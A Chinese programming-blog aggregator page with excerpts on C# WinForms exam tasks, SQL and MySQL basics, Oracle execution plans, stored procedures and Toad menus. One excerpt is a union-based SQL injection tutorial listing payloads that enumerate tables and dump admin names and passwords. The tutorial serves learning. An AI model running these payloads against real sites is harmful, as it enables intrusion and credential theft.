sql数据库

C#简易通讯录的开发试题

倾然丶 夕夏残阳落幕 提交于 2020-02-29 10:38:18
题目:简易通讯录的开发 语言和环境 语言:C#,WinForms 环境:Visual Studio 2010,SQL Server 2008 二、 实现目标 简易通讯录,要求使用.NET WinForms技术完成一个简易通讯录系统的开发,其中保存在SQL Server 2008数据库中的联系人信息如下: 数据库名 link 表名 linker 字段显示 字段名 数据类型 字段大小 备注和说明 编号 id int 4 主键,表示列,种子1,递增1 姓名 name varchar 50 非空 电话号码 phone Char 11 非空 备注 mark varchar 200 窗体加载时主界面如图1: 图1 窗体加载时主窗体 当点击查询联系人按钮时查出所有联系人信息,窗体如图2所示: 图2 查询所有联系人 根据文本框关键字查询,窗体如图3所示: 图3 关键字查询 修改查询结果后点击保存将信息保存至数据库,窗体如图4所示: 图4 保存修改记录 三、要求: 在SQL Server 2008中创建数据库、表结构;(10分) 在数据表中输入10条测试数据;(5分) 设计WinForms界面,并编码完成以下指定的功能: 窗体外观:按图设计界面,窗体初始位置在屏幕中央,窗体大小固定。(10分) 查询联系人:加载窗体后点击查询联系人按钮,查询所有联系人信息并显示到该窗体。(15分) 关键字查询

SQL快速入门 ( MySQL快速入门, MySQL参考, MySQL快速回顾 )

﹥>﹥吖頭↗ 提交于 2020-02-29 10:11:22
SQL 先说点废话,很久没发文了,整理了下自己当时入门 SQL 的笔记,无论用于入门,回顾,参考查询,应该都是有一定价值的,可以按照目录各取所需。SQL数据库有很多,MySQL是一种,本文基本都是SQL通用标准,有些标准很不统一的地方就用MySQL的写法了。希望本文帮你快速了解SQL的基本操作和概念。 文章格式上有些问题,可以点击 这里 获得更加的阅读体验 目录 检索 过滤检索结果 数据汇总处理 分组 给检索结果排序 表操作 插入数据 更新删除数据 子查询-迭代查询 联结-关联多个表 组合查询 视图 其它 检索 检索某表中单个列: SELECT 列名 FROM 表名; 检索某表中多个列: SELECT 列名,列名,列名 FROM 表名; 检索某表中所有列:(尽量不用) SELECT * FROM 表名; 只检索某表中某列里不重复的项: SELECT DISTINCT 列名 (如果有两列或以上,需要这些列组合起来是不重复的) FROM 表名; 检索指定行数: SELECT 列名 FROM 表名 LIMIT 5 OFFSET n; (mySQL中,选第n行后的五行。 OFFSET n 可不填写默认为0,其它 SQL 数据库中有不同写法) 过滤检索结果 寻找指定行:(举例) SELECT prod_name, prod_price FROM Products WHERE prod

C#学员信息管理试题

早过忘川 提交于 2020-02-29 10:02:12
题目:学生信息管理系统 语言和环境 语言:C#,WinForms 环境:Visual Studio 2010,SQL Server 2008 二、 实现目标 某校需要一个在线考试系统,请你完成其中的登录和显示课程信息的功能,要求使用.NET WinForms技术完成一个在线考试系统的开发,其中保存在SQL Server 2008数据库中的信息如下: 课程信息表: 数据库名 class 表名 classname 字段显示 字段名 数据类型 字段大小 备注和说明 课程编号 id int 4 主键,表示列,种子1,递增1 课程名称 name varchar 50 非空 课时 hour int 非空 所属系列 Series Varchar 50 非空 任课教师 teacher varchar 50 非空 学生选课表: 数据库名 class 表名 lesson 字段显示 字段名 数据类型 字段大小 备注和说明 编号 id int 4 主键,表示列,种子1,递增1 登录名称 Name varchar 50 非空,唯一 登录密码 pwd varchar 50 非空 课程编号 Cid Int 外键,空表示未选课 程序运行时进入登录界面,如图1: 图1 登录窗体 在登录窗体输入账号和密码后点击登录,若登录失败如图2所示: 图2 登录失败 若登录成功进入主窗体,在主窗体显示所有课程信息和已选修课程信息

SQL注入之联合查询注入

≯℡__Kan透↙ 提交于 2020-02-29 09:46:40
联合查询的步骤为: 1.判断是否存在注入点。   ‘and 1=1 #   ‘and 1=2 # 2.判断所在的数据库有几列   'order by 1 # 3.判断他显示的内容在数据库的第几列   yiz' union select 1 # 4.查找当前用户权限   yiz' union select user() # 5.查找当前数据库   yiz' union select database() # 6.查找数据库的表名   yiz'union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) # 7.查询数据库中表下的字段 yiz'union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')# 8.查询数据库下字段中的内容。 yiz'union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)# 来源: https://www.cnblogs

数据分析入门(2)-- sql语句

╄→尐↘猪︶ㄣ 提交于 2020-02-29 09:38:53
1.常用数据类型 整数:int,bit,tinyint(有符号范围-128-127,无符号范围:0-255) 小数:decimal(表示浮点数),如decimal(5,2)表示共存5位数,小数占2位 字符串:varchar(不定长)、char 日期时间:date(xx年--xx月--xx日)、time、datetime(xx年--xx月--xx日 时:分:秒) 枚举类型:enum 注意 :字符串text表示存储大文本,当字符大于4000时推荐使用 2.数据库常见操作 1.连接数据库 1.cmd中连接数据库 mysql -u root (账号) -p 密码 2.直接启动mysq客户端 开始->输出mysql->启动my sql客户端 2.退出数据库 exit 3.显示有哪些数据库 show databases; 4.查看当前正在使用的数据库 select database(); 5.使用某个数据库 use 数据库名; 6.显示数据库版本 select version() 7.显示当前时间 select now() 8.创建数据库 create database + 数据库名称; create database + 数据库名称 charset=utf8; --指定字符集为utf8格式 9.查看数据库的创建语句 show create database + 数据库名称; 10.删除数据库

MySQL数据库的导入方法

那年仲夏 提交于 2020-02-29 07:51:37
问题 如何导入MySQL数据库 解决方案 1. 概述 MySQL数据库的导入,有两种方法: 1) 先导出数据库SQL脚本,再导入; 2) 直接拷贝数据库目录和文件。 在不同操作系统或MySQL版本情况下,直接拷贝文件的方法可能会有不兼容的情况发生。 所以一般推荐用SQL脚本形式导入。下面分别介绍两种方法。 2. 方法一 SQL脚本形式 操作步骤如下: 2.1. 导出SQL脚本 在原数据库服务器上,可以用phpMyAdmin工具,或者mysqldump命令行,导出SQL脚本。 2.1.1 用phpMyAdmin工具 导出选项中,选择导出“结构”和“数据”,不要添加“DROP DATABASE”和“DROP TABLE”选项。 选中“另存为文件”选项,如果数据比较多,可以选中“gzipped”选项。 将导出的SQL文件保存下来。 2.1.2 用mysqldump命令行 命令格式 mysqldump -u用户名 -p 数据库名 > 数据库名.sql 范例: mysqldump -uroot -p abc > abc.sql (导出数据库abc到abc.sql文件) 提示输入密码时,输入该数据库用户名的密码。 2.2. 创建空的数据库 通过主控界面/控制面板,创建一个数据库。假设数据库名为abc,数据库全权用户为abc_f。 2.3. 将SQL脚本导入执行 同样是两种方法

查看SQL语句的真实执行计划

Deadly 提交于 2020-02-29 07:41:18
DBMS_XPLAN包中display_cursor函数不同于display函数,display_cursor用于显示SQL语句的真实的执行计划,在大多数情况下,显示真实 的执行计划有助于更好的分析SQL语句的全过程,尤其是运行此SQL语句实时的I/O开销。通过对比预估的I/O与真实的I/O开销来判断SQL语句所存 在问题,如缺少统计信息,SQL语句执行的次数,根据实际中间结果集的大小来选择合适的连接方式等。本文仅仅讲述display_cursor函数的使 用。 有关执行计划中各字段模块的描述请参考: 执行计划中各字段各模块描述 有关由SQL语句来获取执行计划请参考: 使用EXPLAIN PLAN获取SQL语句执行计划 有关使用autotrace来获取执行计划请参考: 启用AUTOTRACE功能 有关dbms_xplan之display函数请参考: dbms_xplan之display函数的使用 一、display_cursor函数用法 1、display_cursor函数语法 DBMS_XPLAN.DISPLAY_CURSOR( sql_id IN VARCHAR2 DEFAULT NULL, child_number IN NUMBER DEFAULT NULL, format IN VARCHAR2 DEFAULT 'TYPICAL'); 2、display

python 访问sql server数据库

我的梦境 提交于 2020-02-28 17:36:30
访问数据库 cnxn = pyodbc.connect("Driver={SQL Server};Server=localhost;Database=用户名;uid=sa;pwd=密码") cursor = cnxn.cursor() cursor.execute("select * from config where type_id='gh_zhjy'") users=[] for row in cursor: users.append(row[3]) print(user[0]) cnxn = pyodbc.connect("Driver={SQL Server};Server=localhost;Database=reportdb_nh;uid=sa;pwd=GHND@126.com") cursor = cnxn.cursor() cursor.execute("select * from config where type_id='gh_zhjy'") users=[] for row in cursor: users.append(row[3]) 来源: https://www.cnblogs.com/guohu/p/12377898.html

SQL Server 存储过程

我的梦境 提交于 2020-02-28 16:45:45
Transact-SQL中的存储过程,非常类似于Java语言中的方法,它可以重复调用。当存储过程执行一次后,可以将语句缓存中,这样下次执行的时候直接使用缓存中的语句。这样就可以提高存储过程的性能。 Ø 存储过程的概念 存储过程Procedure是一组为了完成特定功能的SQL语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称并给出参数来执行。 存储过程中可以包含逻辑控制语句和数据操纵语句,它可以接受参数、输出参数、返回单个或多个结果集以及返回值。 由于存储过程在创建时即在数据库服务器上进行了编译并存储在数据库中,所以存储过程运行要比单个的SQL语句块要快。同时由于在调用时只需用提供存储过程名和必要的参数信息,所以在一定程度上也可以减少网络流量、简单网络负担。 1、 存储过程的优点 A、 存储过程允许标准组件式编程 存储过程创建后可以在程序中被多次调用执行,而不必重新编写该存储过程的SQL语句。而且数据库专业人员可以随时对存储过程进行修改,但对应用程序源代码却毫无影响,从而极大的提高了程序的可移植性。 B、 存储过程能够实现较快的执行速度 如果某一操作包含大量的T-SQL语句代码,分别被多次执行,那么存储过程要比批处理的执行速度快得多。因为存储过程是预编译的,在首次运行一个存储过程时,查询优化器对其进行分析、优化,并给出最终被存在系统表中的存储计划。而批处理的T

Toad 所有 菜单说明(太多)

对着背影说爱祢 提交于 2020-02-28 15:33:02
菜单说明 新版本 toad 软件中, 比较有用的菜单 session 菜单 Session Information: 显示当前session的用户的情况, 比如权限, 授权等 Database 菜单 (很多功能都是重复的) administrator: 审计, 参数, redo, tablespace 等 monitor: ~ top session finder(监控session), ~ database browser : database 的全部内容, 包括参数, 表空间, 数据文件等 ~ database monitor : 动态监视, 包括 logical I/O, session, sga, physical IO, call rates, shared pool, waitevent 等等. ~ server statistics: 包括, waits, latches, sessions 等等 ~ session browser : 可以用来 kill session, 另外还有针对 session 的 wait event 等. ~ SGA Trace : 针对 SGA 的使用情况, 详细列出了所有的 sql list. ~ SQL Tracker : 打开这个, 你在toad中的所有操作, 都会有对应的SQL语句被输出. diagnose: alert log